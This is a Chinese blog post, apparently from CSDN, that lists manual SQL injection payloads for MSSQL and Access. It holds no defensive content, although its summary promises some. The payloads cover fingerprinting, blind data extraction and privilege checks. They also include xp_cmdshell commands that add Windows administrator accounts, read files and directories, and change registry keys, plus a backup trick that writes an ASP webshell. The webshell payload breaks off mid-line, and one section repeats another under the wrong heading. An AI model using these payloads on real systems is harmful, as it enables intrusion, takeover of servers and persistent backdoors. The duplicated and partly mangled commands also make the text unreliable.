SQL注入语句和方法总结

本文详细介绍了SQL注入的基础知识、手工注入语句和方法,包括如何判断数据库类型、获取敏感信息、执行系统命令等。通过实例展示了如何利用SQL注入进行数据库操作,以及防范SQL注入的一些技巧。同时提供了相关学习资源链接。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、SQL语法基础
SQL语法基础和Oracle注入技巧
https://pan.baidu.com/s/11EOTJ8nHrHqimF8nJJTDvA
提取码:4zep
二、SQL手工注入语句
1.判断是否有注入

;and 1=1
;and 1=2
2.初步判断是否是mssql

;and user>0
3.判断数据库系统

;and (select count() from sysobjects)>0 mssql
;and (select count(
) from msysobjects)>0 access
4.注入参数是字符

‘and [查询条件] and ‘’=’
5.搜索时没过滤参数的

‘and [查询条件] and ‘%25’=’
6.猜数据库

;and (select Count(*) from [数据库名])>0
7.猜字段

;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度

;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)

;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)

;and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘serveradmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘setupadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘securityadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–
;and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’));–
;and 1=(select IS_MEMBER(‘db_owner’));–
11.添加mssql和系统的帐户

;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–
12.(1)遍历目录

;exec master.dbo.sp_addlogin username;–
;exec master.dbo.sp_password null,username,password;–
;exec master.dbo.sp_addsrvrolemember sysadmin username;–
;exec master.dbo.xp_cmdshell ‘net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add’;–
;exec master.dbo.xp_cmdshell ‘net user username password /add’;–
;exec master.dbo.xp_cmdshell ‘net localgroup administrators username /add’;–
(2)遍历目录

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;-- 获得所有子目录的目录树结构
;insert into temp(id) exec master.dbo.xp_cmdshell ‘type c:webindex.asp’;-- 查看文件的内容
13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersionRun’ 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersion’,‘CommonFilesDir’ 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersion’,‘TestvalueName’,‘reg_sz’,‘hello’ 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersion’,‘TestvalueName’ 删除某个值
xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,‘SOFTWAREMicrosoftWindowsCurrentVersionTestkey’ 删除键,包括该键下所有值
14.mssql的backup创建webshell

use model
create table cmd(str image);
insert into cmd(str) values (’<% Dim oScript %>’);
backup database model to disk=‘c:l.asp’;
15.mssql内置函数

;and (select @@version)>0 获得Windows的版本号
;and user_name()=‘dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell

use model
create table cmd(str image);
insert into cmd(str) values (’<%=server.createobject(“wscript.shell”).exec("cm

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值